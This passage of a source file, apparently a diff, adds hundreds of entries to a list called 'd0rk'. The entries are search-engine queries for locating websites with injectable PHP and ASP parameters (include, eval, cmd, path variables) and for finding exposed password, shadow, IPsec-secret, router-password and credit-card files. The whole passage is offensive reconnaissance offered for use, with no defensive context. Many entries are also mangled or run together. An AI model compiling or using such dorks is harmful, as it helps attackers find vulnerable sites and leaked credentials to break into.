'index1.php?c', 'index1.php?chapter', 'index1.php?choix' ] 
+d0rk += [ 'index1.php?cmd', 'index1.php?d', 'index1.php?dat', 'index1.php?dir', 'index1.php?filepath', 'index1.php?funcphp?func', 'index1.php?get', 'index1.php?go', 'index1.php?goFile', 'index1.php?gonewsdetail.php?file', 'index1.php?home', 'index1.php?incl', 'index1.php?incphp?inc', 'index1.php?index1.php?', 'index1.php?index1.php?php?', 'index1.php?itemnav', 'index1.php?l', 'index1.php?link', 'index1.php?lkphp?lk', 'index1.php?load', 'index1.php?loc', 'index1.php?ltrphp?ltr', 'index1.php?menu', 'index1.php?midindex1.php?mid', 'index1.php?mod', 'index1.php?modo', 'index1.php?my', 'index1.php?nivel', 'index1.php?o', 'index1.php?oldal', 'index1.php?op', 'index1.php?pa', 'index1.php?pageindex1.php?page', 'index1.php?pagina', 'index1.php?param', 'index1.php?path', 'index1.php?pg', 'index1.php?pname', 'index1.php?pollname', 'index1.php?pphp?p', 'index1.php?pphp?pag', 'index1.php?pphp?page', 'index1.php?pphp?pg', 'index1.php?pr', 'index1.php?pre', 'index1.php?qry', 'index1.php?read', 'index1.php?recipe', 'index1.php?redirect', 'index1.php?root', 'index1.php?second', 'index1.php?seite', 'index1.php?sekce', 'index1.php?showindex1.php?show', 'index1.php?showpage', 'index1.php?showphp?show', 'index1.php?sindex1.php?s', 'index1.php?site', 'index1.php?str', 'index1.php?strona', 'index1.php?subject', 'index1.php?t', 'index1.php?tablephp?table', 'index1.php?texto', 'index1.php?tipo', 'index1.php?type', 'index1.php?url', 'index1.php?v', 'index1.php?var', 'index1.php?x', 'index2.php?DoAction', 'index2.php?ID', 'index2.php?OpenPage', 'index2.php?a', 'index2.php?acao', 'index2.php?action', 'index2.php?adresa', 'index2.php?argphp?arg', 'index2.php?arqphp?arq', 'index2.php?asciiseite', 'index2.php?b', 'index2.php?basedir', 'index2.php?basepath', 'index2.php?c', 'index2.php?cal', 'index2.php?category', 'index2.php?channel', 'index2.php?chapter', 'index2.php?choix', 'index2.php?cindex2.php?c', 'index2.php?cmd', 'index2.php?cont', 'index2.php?content', 'index2.php?contentindex2.php?cont', 'index2.php?contentindex2.php?content', 'index2.php?contentphp?content', 'index2.php?contindex2.php?cont', 'index2.php?contphp?cont', 'index2.php?corpo', 'index2.php?cphp?c', 'index2.php?d', 'index2.php?directfile', 'index2.php?doshow', 'index2.php?e', 'index2.php?f', 'index2.php?filepath', 'index2.php?funcion', 'index2.php?g', 'index2.php?get', 'index2.php?gorumdir', 'index2.php?goto', 'index2.php?h', 'index2.php?home', 'index2.php?i', 'index2.php?i/index2.php?i', 'index2.php?in', 'index2.php?inc', 'index2.php?incl', 'index2.php?include', 'index2.php?incphp?inc', 'index2.php?index2.php?', 'index2.php?index2.php?php?', 'index2.php?ir', 'index2.php?itemnav', 'index2.php?j', 'index2.php?k', 'index2.php?ki', 'index2.php?l', 'index2.php?lang', 'index2.php?language', 'index2.php?left', 'index2.php?lgindex.php?lg', 'index2.php?link', 'index2.php?lkphp?lk', 'index2.php?ll', 'index2.php?lngindex.php?lng', 'index2.php?lnindex.php?ln', 'index2.php?lnk', 'index2.php?lnphp?ln', 'index2.php?load', 'index2.php?loader', 'index2.php?loc', 'index2.php?locaindex2.php?loca', 'index2.php?locaphp?loca', 'index2.php?lphp?l', 'index2.php?lv1', 'index2.php?m', 'index2.php?meiophp?meio', 'index2.php?module', 'index2.php?my', 'index2.php?n', 'index2.php?o', 'index2.php?oldal', 'index2.php?open', 'index2.php?option', 'index2.php?p', 'index2.php?p/classes/adodbt/sql.php?classesdir', 'index2.php?pa', 'index2.php?pag', 'index2.php?pag/index2.php?pagphp', 'index2.php?param', 'index2.php?pathAKI', 'index2.php?pg', 'index2.php?phpbbrootpath', 'index2.php?pname', 'index2.php?pollname', 'index2.php?pre', 'index2.php?pref', 'index2.php?prefix', 'index2.php?q', 'index2.php?qry', 'index2.php?r', 'index2.php?recipe', 'index2.php?redirect', 'index2.php?ref', 'index2.php?rootPATH', 'index2.php?rub', 'index2.php?s', 'index2.php?second', 'index2.php?section', 'index2.php?sekce', 'index2.php?server', 'index2.php?showpage', 'index2.php?sindex2.php?s', 'index2.php?sphp?s', 'index2.php?strona', 'index2.php?sub', 'index2.php?sub2', 'index2.php?t', 'index2.php?tablephp?table', 'index2.php?texto', 'index2.php?theme', 'index2.php?thispage', 'index2.php?to', 'index2.php?type', 'index2.php?u', 'index2.php?urlpage', 'index2.php?v', 'index2.php?var', 'index2.php?x', 'index2.php?xindex2.php?x', 'index2.php?xphp?x', 'index2.php?y', 'index2.php?z', 'index2php?aa', 'index3.php?abre', 'index3.php?addr', 'index3.php?adresa', 'index3.php?basedir', 'index3.php?body', 'index3.php?channel', 'index3.php?chapter', 'index3.php?choix', 'index3.php?cmd', 'index3.php?d', 'index3.php?destino', 'index3.php?dir', 'index3.php?disp', 'index3.php?ev', 'index3.php?get', 'index3.php?go', 'index3.php?home', 'index3.php?inc', 'index3.php?include', 'index3.php?index', 'index3.php?ir', 'index3.php?itemnav', 'index3.php?left', 'index3.php?link', 'index3.php?loader', 'index3.php?menue', 'index3.php?mid', 'index3.php?middle', 'index3.php?mod', 'index3.php?my', 'index3.php?name', 'index3.php?nivel', 'index3.php?oldal', 'index3.php?open', 'index3.php?option', 'index3.php?p', 'index3.php?pag', 'index3.php?pageweb', 'index3.php?panel', 'index3.php?path' ] 
+d0rk += [ 'index3.php?phpbbrootpath', 'index3.php?pname', 'index3.php?pollname', 'index3.php?pre', 'index3.php?pref', 'index3.php?q', 'index3.php?read', 'index3.php?redirect', 'index3.php?ref', 'index3.php?rub', 'index3.php?secao', 'index3.php?secc', 'index3.php?seccion', 'index3.php?second', 'index3.php?sekce', 'index3.php?showpage', 'index3.php?sivu', 'index3.php?sp', 'index3.php?start', 'index3.php?t', 'index3.php?thispage', 'index3.php?tipo', 'index3.php?type', 'index3.php?url', 'index3.php?var', 'index3.php?x', 'index3.php?xlink', 'index3php?aa', 'index5.php?body', 'index5.php?cat', 'index5.php?configFile', 'index5.php?cont', 'index5.php?content', 'index5.php?do', 'index5.php?inc', 'index5.php?include', 'index5.php?lang', 'index5.php?language', 'index5.php?lv1', 'index5.php?m', 'index5.php?main', 'index5.php?open', 'index5.php?p', 'index5.php?pag', 'index5.php?page', 'index5.php?pagina', 'index5.php?pg', 'index5.php?root', 'index5.php?site', 'index5.php?visualizar', 'index5.php?x', 'indexen.asp?id', 'indexen.asp?ref', 'indexen.php?id', 'indexen.php?ref', 'indexof/privatesitemil', 'indexof/privatesitenetsitecomsiteorg', 'indexof/wsftp.iniparentdirectory', 'indexofetc/shadow', 'indexofhtpasswd', 'indexofintextGalleryinConfigurationmode', 'indexofintextconnect.inc', 'indexofintextglobals.inc', 'indexofmaster.passwd', 'indexofmembersORaccounts', 'indexofmydsize', 'indexofmysql.confORmysqlconfig', 'indexofpasswd', 'indexofpasswdpasswd.bak', 'indexofpeople.lst', 'indexofpwd.db', 'indexofspwd', 'indexofusercartsORusercart', 'indexof|4DBin|0|', 'indexof|AdminHtml/parsexml.cgi|0|', 'indexof|Adminfiles/order.log|0|', 'indexof|aboutprinter.shtml|0|', 'indexof|accounts/getuserdesc.asp|0|', 'indexof|accounts/updateuserdesc.asp|0|', 'indexof|acidmain.php|0|', 'indexof|adcycle/AdLogin.pm|0|', 'indexof|adm/admbrowse.php|0|', 'indexof|admin/adminmodif.php|0|', 'indexof|admin/adminsuppr.php|0|', 'indexof|admin/browse.asp|0|', 'indexof|admin/case/case.filemanager.php/admin.php|0|', 'indexof|admin/creditcardinfo.php|0|', 'indexof|admin/dsn/dsnmanager.asp|0|', 'indexof|admin/import/improotdir.asp|0|', 'indexof|admin/phpinfo.php|0|', 'indexof|admin/systemfooter.php|0|', 'indexof|admin/upload.php|0|', 'indexof|admin/usermodif.php|0|', 'indexof|administrator/gallery/uploadimage.php|0|', 'indexof|administrator/index2.php|0|', 'indexof|administrator/upload.php|0|', 'indexof|adminopts/include/banform.php|0|', 'indexof|adminopts/include/boardform.php|0|', 'indexof|adminopts/include/loginform.php|0|', 'indexof|adminopts/include/vipform.php|0|', 'indexof|adminopts/loginform.php|0|', 'indexof|adminserv/config/admpw|0|', 'indexof|admint/include/findthenihome.php|0|', 'indexprincipal.php?pagina', 'indextable.php?rootdir', 'indishell.in', 'infile', 'info', 'info.asp?ID', 'info.cfm?ID', 'info.inc.php', 'info.php?', 'info.php?ID', 'info.php?[]', 'info.php?adresa', 'info.php?basedir', 'info.php?body', 'info.php?c', 'info.php?chapter', 'info.php?content', 'info.php?doshow', 'info.php?ev', 'info.php?eval', 'info.php?f', 'info.php?filepath', 'info.php?go', 'info.php?header', 'info.php?home', 'info.php?in', 'info.php?incl', 'info.php?ir', 'info.php?itemnav', 'info.php?j', 'info.php?ki', 'info.php?l', 'info.php?lninfo.php?ln', 'info.php?lnphp?ln', 'info.php?loader', 'info.php?menue', 'info.php?mid', 'info.php?middlePart', 'info.php?o', 'info.php?oldal', 'info.php?op', 'info.php?opcion', 'info.php?option', 'info.php?pageweb', 'info.php?pagina', 'info.php?param', 'info.php?phpbbrootpath', 'info.php?pname', 'info.php?pref', 'info.php?r', 'info.php?read', 'info.php?recipe', 'info.php?redirect', 'info.php?ref', 'info.php?rub', 'info.php?sec', 'info.php?secao', 'info.php?seccion', 'info.php?start', 'info.php?strona', 'info.php?subject', 'info.php?t', 'info.php?texto', 'info.php?url', 'info.php?var', 'info.php?xlink', 'info.php?z', 'info2www', 'infosrch.cgi', 'infusions/bookpanel/books.php?bookid', 'init.inc.php?CPGMDIR', 'init.php?HTTPPOSTVARS', 'initdb.php?absolutepath', 'iniziativa.php?in', 'inspanellogincannotLoginIDsiteinspediumsoft.com', 'inst/index.php?lng./../include/main.inc&GPATH', 'install/index.php?lng./../include/main.inc&GPATH', 'install/install.php', 'interna/tinymce/plugins/ibrowser/ibrowser.php?tinyMCEimglibinclude', 'intext', 'intextBiTBOARDv2.0�BiTSHiFTERSBulletinBoard', 'intextEZGuestbook', 'intextErrorMessageErrorloadingrequiredlibraries.', 'intextFillouttheformbelowcompletelytochangeyourpasswordandusername.Ifnewusernameisleftblankyouroldonewillbeassumed.edu', 'intextMailadminsloginheretoadministrateyourdomain.', 'intextMasterAccountDomainNamePassword/cgibin/qmailadmin', 'intextSQLiteManagermain.php', 'intextSessionStartfiletypelog', 'intextSteamUserPassphraseintextSteamAppUserusernameuser', 'intextStorageManagementServerforServerAdministration', 'intextTobiasOetikertrafficanalysis', 'intextViewCVSSettings.php', 'intextWarningFailedopeningonlineincludepath', 'intextWarningamablewriteconfigurationfileincludes/configure.php', 'intextWebWizJournal', 'intextWelcometocpHSPHEREbegin.htmlFee', 'intextWelcometotheWebV.NetworksV.Networks[Top]filetypehtm' ]
+d0rk += [ 'intextd.aspx?id||d.aspx?id', 'intextenablepassword7', 'intextenablepassword7�', 'intextenablesecret5$', 'intextencUserPasswordextpcf', 'intextgmailinviteintexthttp//gmail.google.com/gmail/a', 'intextpassword|passcodeintextusername|userid|userfiletypecsv', 'intextpoweredbyWebWizJournal', 'intextvbulletinadmincp', 'intextwebalizerintextWebalizerWebstatisticspagelistsWebuser', 'intranetintranetintextphone', 'inurldbc.iniextinicvs', 'inurlerl/printenv', 'inurlhp.inifiletypeini', 'inurlreferences.ini[emule]', 'inurlrofilesfiletypemdb', 'invent/details.php?id', 'ipsec.conf', 'ipsec.secrets', 'irbeautina/productdetail.asp?productid', 'irbeautina/productdetail.php?productid', 'ircfiletypecgicgiirc', 'isecurev1.1edu', 'isecurev1.1�edu', 'issue.php?id', 'item.asp?eid', 'item.asp?id', 'item.asp?iid', 'item.asp?itemid', 'item.asp?model', 'item.asp?prodtype', 'item.asp?shopcd', 'item.asp?subid', 'item.cfm?eid', 'item.cfm?itemid', 'item.cfm?model', 'item.cfm?prodtype', 'item.cfm?shopcd', 'item.php?SKU', 'item.php?cat', 'item.php?code', 'item.php?eid', 'item.php?id', 'item.php?iid', 'item.php?item', 'item.php?itemid', 'item.php?model', 'item.php?prodtype', 'item.php?shopcd', 'item.php?subid', 'item/detail.php?num', 'item/wpastorefronttheultimatewpecommercetheme/discussion/61891?page', 'itemDesc.asp?CartId', 'itemDesc.cfm?CartId', 'itemDesc.php?CartId', 'itembook.asp?CAT', 'itembook.php?CAT', 'itemdetail.asp?item', 'itemdetail.cfm?item', 'itemdetail.php?item', 'itemdetails.asp?catalogid', 'itemdetails.asp?catid', 'itemdetails.cfm?catalogid', 'itemdetails.cfm?catid', 'itemdetails.php?catalogid', 'itemdetails.php?catid', 'itemid', 'itemlist.asp?catid', 'itemlist.asp?maingroup', 'itemlist.cfm?maingroup', 'itemlist.php?categoryID', 'itemlist.php?catid', 'itemlist.php?maingroup', 'itemmenu.php?idSubCat', 'itemshow.asp?codeno', 'itemshow.asp?id', 'itemshow.asp?lid', 'itemshow.cfm?codeno', 'itemshow.php?codeno', 'itemshow.php?id', 'itemshow.php?itemID', 'itemshow.php?lid', 'joblog/index.php?mode', 'jobs.cgi?a9&t', 'jobs.php?id', 'jobsitestorageequipment/viewproducts.php?pid', 'jokedisplay.php?id', 'journal.php?id', 'jsproductdetail.php?pid', 'jump.php?id', 'kalender.php?viskalender.php', 'kalender.php?viskalender.php?vis', 'kalender.php?visphp?vis', 'kategorie.php4?id', 'kbconstants.php?modulerootpath', 'kboard/kboard.asp?board', 'kboard/kboard.php?board', 'keyword/phorum/login.php', 'keyword/phpcoin/login.php', 'keywordPoweredByFusionPHP', 'keywordPoweredbyiUser', 'keywordPoweredbyphpBB2.0.6', 'keywordall/phpGedview/login.phpsite', 'keywordpoweredbyCubeCart3.0.6', 'keywordpoweredbyFantasticNewsv2.1.2', 'keywordpoweredbypaBugs2.0Beta3', 'keywordpoweredbysmartblogAND?pagelogin', 'keywordpoweredeyeOs', 'kidsdetail.php?prodID', 'knowledgebase/article.php?id', 'knowledgebase/detail.asp?id', 'knowledgebase/detail.php?id', 'kr/product/product.php?gubun', 'kshop/home.php?cat', 'kshop/product.asp?productid', 'kshop/product.php?productid', 'labels.php?id', 'lakeinfo.php?id', 'lang', 'lang.php?argphp?arg', 'lang.php?arqphp?arq', 'lang.php?lkphp?lk', 'lang.php?lnphp?ln', 'lang.php?subpagephp?subpage', 'lang.php?subpphp?sub', 'lang.php?subpphp?subp', 'language', 'latestnews.php?id', 'latinbitz.cgi?t', 'layout.php?OpenPage', 'layout.php?abre', 'layout.php?action', 'layout.php?addr', 'layout.php?basepath', 'layout.php?c', 'layout.php?category', 'layout.php?chapter', 'layout.php?choix', 'layout.php?cmd', 'layout.php?cont', 'layout.php?disp', 'layout.php?g', 'layout.php?goto', 'layout.php?incl', 'layout.php?ir', 'layout.php?link', 'layout.php?loader', 'layout.php?menue', 'layout.php?modo', 'layout.php?my', 'layout.php?nivel', 'layout.php?numero', 'layout.php?oldal', 'layout.php?opcion', 'layout.php?page', 'layout.php?pageweb', 'layout.php?pagina', 'layout.php?panel', 'layout.php?path', 'layout.php?play', 'layout.php?pollname', 'layout.php?pref', 'layout.php?qry', 'layout.php?secao', 'layout.php?section', 'layout.php?seite', 'layout.php?sekce', 'layout.php?strona', 'layout.php?thispage', 'layout.php?tipo', 'layout.php?url', 'layout.php?var', 'layout.php?where', 'layout.php?xlink', 'layout.php?z', 'lc.cgi?a', 'learnmore.asp?cartID', 'learnmore.cfm?cartID', 'learnmore.php?cartID', 'letypecnfvtipvtaccess.cnf', 'lib.inc.php?pmpath', 'lib.php?root', 'lib/gore.php?libpath', 'liblog/index.php?cat', 'library.asp?cat', 'library.php?author', 'library.php?cat', 'library/article.php?ID', 'library/editor/editor.php?root', 'library/lib.php?root', 'lilo.conffiletypeconfpasswordtatercounter2000bootpwdman', 'link', 'link.php?dophp?do', 'link.php?type', 'linkexchange/browse.php?id', 'links.asp?catid', 'links.cfm?catid', 'links.php?cat', 'links.php?catid', 'links/resources/linkssearchresult.php?catid', 'list', 'list.asp?bookid', 'list.cfm?bookid', 'list.php?bookid', 'list.php?id', 'list.php?productphp?product', 'list.php?tablephp?table', 'listcategoriesandproducts.asp?idCategory', 'listcategoriesandproducts.cfm?idCategory', 'listcategoriesandproducts.php?idCategory', 'listing.asp?cat', 'listing.php?cat', 'listtrust.php?id', 'litwork.php?wid', 'liveapplet' ] 
+d0rk += [ 'liveiceconfigurationfileextcfg', 'liveiceconfigurationfileextcfgsitesourceforge.net', 'liverpool/details.php?id', 'liveviewaxis', 'llindex.php?sub', 'lmsrecordscd.asp?cdid', 'lmsrecordscd.php?cdid', 'ln.php?lnphp?ln', 'load', 'loadpsb.php?id', 'loc.php?langphp?lang', 'loc.php?langphp?loc', 'loc.php?locloc.php?loc', 'loc.php?locphp?loc', 'loc.php?lphp?l', 'loc.php?lphp?loc', 'log.htm', 'log.html', 'log.nsfgov', 'log.txt', 'logfile', 'logfile.htm', 'logfile.html', 'logfile.txt', 'logger.html', 'login.asp', 'login.cfm', 'login.jsp', 'login.jsp.bak', 'login.php?dir', 'login.php?locaphp?loca', 'login.phpSquirrelMailversion', 'loginfiletypeswfswf', 'loginpasswordfiletypexls', 'loginpromptGM.cgi', 'look.php?ID', 'lowell/restaurants.php?id', 'ls.asp?id', 'ls.php?id', 'm/content/article.php?contentid', 'm2f/m2fphpbb204.php?m2frootpath', 'm2f/m2fphpbb204.php?m2frootpath/m2fusercp.php?', 'magazin.asp?cid', 'magazin.php?cid', 'magazine.php?incphp?inc', 'magazinedetails.php?magid', 'magazines/adultmagazinefullyear.asp?magid', 'magazines/adultmagazinefullyear.php?magid', 'magazines/adultmagazinesinglepage.asp?magid', 'magazines/adultmagazinesinglepage.php?magid', 'magdetail.php?magid', 'mai.php?actmai.php?act', 'mai.php?locmai.php?loc', 'mai.php?srcmai.php?src', 'mail', 'mailfiletypecsvsitegovintextname', 'mailform.pl', 'maillist.pl', 'mailto.cgi', 'main', 'main.asp?id', 'main.asp?item', 'main.asp?prodID', 'main.html.php?seitephp?seite', 'main.php3?actmain.php3?act', 'main.php3?actphp3?act', 'main.php5?pagephp5?id', 'main.php?action', 'main.php?addr', 'main.php?adresa', 'main.php?aphp?a', 'main.php?argphp?arg', 'main.php?bamain.php?ba', 'main.php?baphp?ba', 'main.php?basepath', 'main.php?body', 'main.php?category', 'main.php?chapter', 'main.php?commandmain.php?command', 'main.php?commandphp?command', 'main.php?content', 'main.php?corpo', 'main.php?d1main.php?d1', 'main.php?d1php?d1', 'main.php?dir', 'main.php?disp', 'main.php?doshow', 'main.php?e', 'main.php?eval', 'main.php?f1php?f1', 'main.php?filepath', 'main.php?fsetphp?fset', 'main.php?goto', 'main.php?h', 'main.php?id', 'main.php?idmain.php?idphp', 'main.php?inc', 'main.php?include', 'main.php?incphp?inc', 'main.php?index', 'main.php?ir', 'main.php?item', 'main.php?itemnav', 'main.php?j', 'main.php?link', 'main.php?lnphp?ln', 'main.php?load', 'main.php?loc', 'main.php?ltrphp?ltr', 'main.php?middle', 'main.php?mod', 'main.php?my', 'main.php?name', 'main.php?oldal', 'main.php?opcion', 'main.php?page', 'main.php?page/main.php?pagephp', 'main.php?pagina', 'main.php?param', 'main.php?path', 'main.php?pg', 'main.php?pname', 'main.php?pre', 'main.php?pref', 'main.php?prodID', 'main.php?r', 'main.php?ref', 'main.php?sayfa', 'main.php?second', 'main.php?section', 'main.php?site', 'main.php?sitphp?sit', 'main.php?smain.php?s', 'main.php?sphp?s', 'main.php?start', 'main.php?str', 'main.php?strona', 'main.php?subject', 'main.php?tablephp?table', 'main.php?thispage', 'main.php?tipo', 'main.php?type', 'main.php?url', 'main.php?v', 'main.php?vismain.php?vis', 'main.php?visphp?vis', 'main.php?where', 'main.php?x', 'main.php?xlink', 'main.phpWelcometophpMyAdmin', 'main.phpphpMyAdmin', 'main/content.php?id', 'main/index.asp?action', 'main/index.asp?uid', 'main/index.php?action', 'main/index.php?uid', 'main/magpreview.asp?id', 'main/magpreview.php?id', 'main/product.php?productid', 'main/viewItem.php?itemid', 'main1.php?argphp?arg', 'main1.php?lnphp?ln', 'main2.php?lnphp?ln', 'mainfile.php?MAINPATH', 'mainspot', 'mall/more.asp?ProdID', 'mall/more.php?ProdID', 'man.sh', 'manual.php?product', 'map.asp?WhatsUpGold', 'map.php?locmap.php?loc', 'master.passwd', 'material.php?id', 'materials/itemdetail.php?ProductID', 'mboard/replies.asp?parentid', 'mboard/replies.php?parentid', 'mbshowtopic.asp?topicid', 'mbshowtopic.php?topicid', 'mcf.php', 'mcf.php?contentmcf.php', 'md5md5sums', 'media.cgi?a11&t', 'media.php?', 'media.php?id', 'media.php?page', 'media/pr.asp?id', 'media/pr.php?id', 'mediadisplay.php?id', 'meetings/presentations.php?id', 'melbourne.php?id', 'melbournedetails.asp?id', 'melbournedetails.php?id', 'member.php?ctype', 'memberInfo.php?id', 'memberdetails.php?id', 'members.php?id', 'members/item.php?id', 'members/memberprofile.php?id', 'members/profile.php?id', 'memprofile.php?id', 'mens/product.php?id', 'merchandise.php?id', 'message/commentthreads.asp?postID', 'message/commentthreads.php?postID', 'metaframexp/default/login.asp|MetaframeXPLogin', 'mewebmail', 'mhp/my.php?hls', 'microsoftcertificateservicescertsrv', 'microsoftfiletypeiso', 'middle.php?filemiddle.php?file', 'middle.php?filemiddle.php?page', 'middle.php?filephp?file', 'middle.php?filephp?page', 'middle.php?pagemiddle.php?page', 'middle.php?pagephp?page', 'midicart.mdb', 'misc.php?dophp?do', 'mlx/slipaboutsharebacks.php?item', 'mod.php?OpenPage', 'mod.php?action', 'mod.php?addr', 'mod.php?b', 'mod.php?channel', 'mod.php?chapter', 'mod.php?choix', 'mod.php?cont', 'mod.php?content', 'mod.php?corpo', 'mod.php?d', 'mod.php?destino', 'mod.php?dir', 'mod.php?ev', 'mod.php?goFile', 'mod.php?home', 'mod.php?incl' ] 
+d0rk += [ 'mod.php?include', 'mod.php?index', 'mod.php?ir', 'mod.php?j', 'mod.php?lang', 'mod.php?link', 'mod.php?m', 'mod.php?middle', 'mod.php?mod', 'mod.php?modmod.php?mod', 'mod.php?modphp?mod', 'mod.php?module', 'mod.php?numero', 'mod.php?oldal', 'mod.php?pag', 'mod.php?pageweb', 'mod.php?pagina', 'mod.php?path', 'mod.php?pg', 'mod.php?phpbbrootpath', 'mod.php?play', 'mod.php?pname', 'mod.php?pre', 'mod.php?qry', 'mod.php?recipe', 'mod.php?secao', 'mod.php?secc', 'mod.php?seccion', 'mod.php?section', 'mod.php?sekce', 'mod.php?start', 'mod.php?strona', 'mod.php?thispage', 'mod.php?tipo', 'mod.php?to', 'mod.php?v', 'mod.php?var', 'model.php?item', 'modifyen.htm?mode', 'modline.asp?id', 'modline.cfm?id', 'modline.php?id', 'modmainmenu.php?mosConfigabsolutepath', 'modsdetail.php?id', 'modul.php?modmodul.php?mod', 'modul.php?modphp?mod', 'module.php?modmodule.php?mod', 'module.php?modphp?mod', 'module/range/dutchwindmillcollection.asp?rangeId', 'module/range/dutchwindmillcollection.php?rangeId', 'moduledb.php?pivotpath', 'moduledb.php?pivotpathmoduledb.php?pivotpath', 'modules.asp?', 'modules.asp?bookid', 'modules.php?', 'modules.php?bookid', 'modules.php?op', 'modules/4nAlbum/public/displayCategory.php?basepath', 'modules/AllMyGuests/signin.php?AMGconfig[cfgserverpath]', 'modules/MyGuests/signin.php?AMGconfig[cfgserverpath]', 'modules/MyeGallery/index.php?basepath', 'modules/MyeGery/index.php?basepath', 'modules/MyeGery/public/displayCategory.php?basepath', 'modules/agendax/addevent.inc.php?agendaxpath', 'modules/content/index.asp?id', 'modules/content/index.php?id', 'modules/coppermine/include/init.inc.php?CPGMDIR', 'modules/coppermine/themes/coppercop/theme.php?THEMEDIR', 'modules/coppermine/themes/default/theme.php?THEMEDIR', 'modules/forum/index.asp?topicid', 'modules/forum/index.php?topicid', 'modules/modmainmenu.php?mosConfigabsolutepath', 'modules/tasks/viewgantt.php?rootdir', 'modules/vwar/admin/admin.php?vwarroot', 'modules/wfdownloads/singlefile.php?cid', 'modules/xfmod/forum/forum.php?threadid', 'modules/xgery/upgradealbum.php?GERYBASEDIR', 'modules/xoopsgery/upgradealbum.php?GERYBASEDIR', 'more.php?submore.php?sub', 'moredetail.asp?XEID', 'moredetail.asp?id', 'moredetail.php?XEID', 'moredetail.php?id', 'mp.php?id', 'mpacms/dc/article.php?id', 'mpprt.php?item', 'msadcs.dll', 'msg', 'mtdbpass.cgifiles', 'mview.asp?psdb', 'mview.php?psdb', 'mwchat/libs/startlobby.php?CONFIG[MWCHATLibs]', 'myPHPCalendar/admin.php?caldir', 'myResourcesnoBanner.php?categoryID', 'myaccount.asp?catid', 'myaccount.cfm?catid', 'myaccount.php?catid', 'myevent.php?myeventpath', 'mylink.php?id', 'mysql.class', 'mysqldumpfiletypesql', 'mysqlerrorwithquery', 'mysqlhistoryfiles', 'mystuff.xmlTrilliandatafiles', 'naboard/memo.asp?bd', 'naboard/memo.php?bd', 'names.nsf', 'names.nsf?opendatabase', 'nasar/news.php?id', 'natterchathome.aspsitenatterchat.co.uk', 'natterchathome.aspsitenatterchat.co.ukXOOPSCustomInstallationhtpasswdfiletypehtpasswdyapbozdetay.aspViewWebcamUserAccessingallcontrol/multiview', 'nav.php?gnav.php?g', 'nav.php?gonav.php?go', 'nav.php?lkphp?lk', 'nav.php?lnphp?ln', 'nav.php?locnav.php', 'nav.php?locnav.php?loc', 'nav.php?locphp?loc', 'nav.php?navnav.php?nav', 'nav.php?pagenav.php?page', 'nav.php?paginanav.php?pagina', 'nav.php?pagnav.php?pag', 'nav.php?pgnav.php?pg', 'nav.php?pnav.php?p', 'netscape.hst', 'netscape.ini', 'networkadministrationnic', 'netwtcp.shtml', 'new', 'new/showproduct.php?prodid', 'news.asp?id', 'news.asp?t', 'news.asp?type', 'news.cfm?id', 'news.cgi', 'news.cgi?a114&t', 'news.cgi?alatest&t', 'news.cgi?t', 'news.php?CONFIG[scriptpath]', 'news.php?articleID', 'news.php?category', 'news.php?catid', 'news.php?display', 'news.php?id', 'news.php?item', 'news.php?t', 'news.php?type', 'news/article.php?id', 'news/articleRead.php?id', 'news/detail.asp?id', 'news/detail.php?id', 'news/details.php?id', 'news/index.php?ID', 'news/latestnews.asp?catid', 'news/latestnews.php?catid', 'news/news.asp?id', 'news/news.php?id', 'news/news/titleshow.asp?id', 'news/news/titleshow.php?id', 'news/newsdetail.php?id', 'news/newsitem.asp?newsID', 'news/newsitem.php?id', 'news/newsitem.php?newsID', 'news/newsletter.php?id', 'news/pressannouncements/pressrelease.php?pressid', 'news/show.php?id', 'news/shownews.php?article', 'news/shownewsarticle.asp?articleid', 'news/shownewsarticle.php?articleid', 'news/temp.asp?id', 'news/temp.php?id', 'news/v.php?id', 'news/viewarticle.php?id', 'newsDetail.php?id', 'newsDetails.php?ID', 'newsandnotices.asp?newsid', 'newsandnotices.php?newsid', 'newscat.php?id', 'newscontent.asp?CategoryID', 'newscontent.php?CategoryID', 'newsdesk.cgi?alatest&t', 'newsdesk.cgi?t', 'newsdetail.asp?id', 'newsdetail.php?file', 'newsdisplay.php?getid', 'newsfull.php?id', 'newshop/category.php?c', 'newsid', 'newsite/events.php?id', 'newsite/pdfshow.asp?id', 'newsite/pdfshow.php?id', 'newsitem.asp?id', 'newsitem.asp?newsid', 'newsitem.php?id', 'newsitem.php?newsID', 'newsitem.php?num', 'newsletter/admin/', 'newsletter/admin/newsletteradmin', 'newsletter/newsletter.php?id', 'newsletter/newsletter.php?letter' ] 
+d0rk += [ 'newsmore.php?id', 'newsone.php?id', 'newsstory.php?id', 'newstickerinfo.php?idn', 'newsupdate.cgi?alatest&t', 'newsview.php?id', 'newvisitor.inc.php?lvcincludedir', 'nightlife/martini.php?cid', 'njm/cntpdf.php?t', 'nl/default.asp?id', 'nota.php?OpenPage', 'nota.php?abre', 'nota.php?adresa', 'nota.php?b', 'nota.php?basedir', 'nota.php?basepath', 'nota.php?category', 'nota.php?channel', 'nota.php?chapter', 'nota.php?cmd', 'nota.php?content', 'nota.php?corpo', 'nota.php?destino', 'nota.php?disp', 'nota.php?doshow', 'nota.php?eval', 'nota.php?filepath', 'nota.php?get', 'nota.php?goFile', 'nota.php?h', 'nota.php?header', 'nota.php?home', 'nota.php?in', 'nota.php?inc', 'nota.php?include', 'nota.php?ir', 'nota.php?itemnav', 'nota.php?ki', 'nota.php?lang', 'nota.php?left', 'nota.php?link', 'nota.php?m', 'nota.php?mid', 'nota.php?mod', 'nota.php?modo', 'nota.php?module', 'nota.php?n', 'nota.php?nivel', 'nota.php?oldal', 'nota.php?opcion', 'nota.php?option', 'nota.php?pag', 'nota.php?pagina', 'nota.php?panel', 'nota.php?pg', 'nota.php?play', 'nota.php?pollname', 'nota.php?pr', 'nota.php?pre', 'nota.php?qry', 'nota.php?rub', 'nota.php?sec', 'nota.php?secc', 'nota.php?seccion', 'nota.php?second', 'nota.php?seite', 'nota.php?sekce', 'nota.php?showpage', 'nota.php?subject', 'nota.php?t', 'nota.php?tipo', 'nota.php?url', 'nota.php?v', 'notfordistributionconfidential', 'notforpublicrelease.edu.gov.mil', 'notice/notice.php?id', 'noticias.php?arq', 'notify/notifyform.asp?topicid', 'notify/notifyform.php?topicid', 'nowviewing.php?id', 'nphtestcgi', 'nreplyboard.asp?typeboard', 'nreplyboard.php?typeboard', 'nuell/itemshow.php?itemID', 'nukefiletypesql', 'num', 'nurl/admin/login.asp', 'nurladd.asp?bookid', 'nurlstatus.html|apache.html', 'nyheder.htm?show', 'oMailadminAdministrationLoginomnis.ch', 'obio/detail.asp?id', 'obio/detail.php?id', 'obj/print.php?objId', 'ocp103/index.php?reqpathocPortal', 'ocwloginusername', 'odbc.iniextinicvs', 